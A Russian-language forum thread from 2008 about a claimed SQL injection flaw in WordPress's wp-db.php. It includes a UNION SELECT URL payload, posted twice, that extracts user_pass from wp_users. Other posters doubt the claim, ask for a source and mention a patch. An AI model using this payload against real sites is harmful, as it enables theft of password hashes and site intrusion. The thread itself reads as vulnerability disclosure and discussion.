Уязвимость

Тема в разделе "Wordpress", создана пользователем masima, 24 мар 2008.

Статус темы:
Закрыта.
Модераторы: DzSoft, Sorcus
  1. masima

    masima

    Регистр.:
    9 мар 2007
    Сообщения:
    732
    Симпатии:
    1.338
    Программа: WordPress

    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием wp-db.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    Эксплоит:

    Перейти по ссылке amp;s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/* */1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23
     
  2. chewie

    chewie Создатель

    Регистр.:
    17 ноя 2007
    Сообщения:
    41
    Симпатии:
    1
    Вот так надо постить...
    Код:
    http://example.com/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/* */1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23
    У меня не пошло на 2.3.3, откуда информация вообще?
     
  3. masima

    masima

    Регистр.:
    9 мар 2007
    Сообщения:
    732
    Симпатии:
    1.338
    инфа с секьюритилаб
     
  4. ozware

    ozware

    Регистр.:
    22 апр 2007
    Сообщения:
    327
    Симпатии:
    42
    вопрос в том, как исправить,
    а то слишком много сайтов на WP
     
  5. n0thingspec1al

    n0thingspec1al Читатель

    Заблокирован
    Регистр.:
    8 мар 2008
    Сообщения:
    21
    Симпатии:
    0
    апдейт от 9го февраля? уже пофиксили этот баг.
     
  6. pogar

    pogar Создатель

    Регистр.:
    23 мар 2008
    Сообщения:
    22
    Симпатии:
    4
    протестите меня? o5o5.ru :)
     
  7. azs

    azs

    Регистр.:
    24 дек 2007
    Сообщения:
    153
    Симпатии:
    142
    Есть мнения?
     
  8. tostrss

    tostrss

    Регистр.:
    16 окт 2007
    Сообщения:
    771
    Симпатии:
    217
    Кем была обнаружена? Что за уязвимость, где ее описание... Ни в одном из сайтов посвященных безопасности скриптов, такой новости не было. Может это бот ломает через стандартные дырки и заливает..Так что слишком громко заявлять о новой уязвимости
     
  9. azs

    azs

    Регистр.:
    24 дек 2007
    Сообщения:
    153
    Симпатии:
    142
    Понятия не имею на твои вопросы. Прочитал на блоге каком то свежий пост, выложил сюда как есть. Для того, чтобы те кто в курсе написали боян это или нет. Ибо безопасность должна быть безопасной.

    ps Если тебе громко, просто сделай потише...:haha::haha::haha:
     
  10. Dastali

    Dastali Постоялец

    Регистр.:
    21 мар 2008
    Сообщения:
    50
    Симпатии:
    4
    А ссылочку на источник???
     
Статус темы:
Закрыта.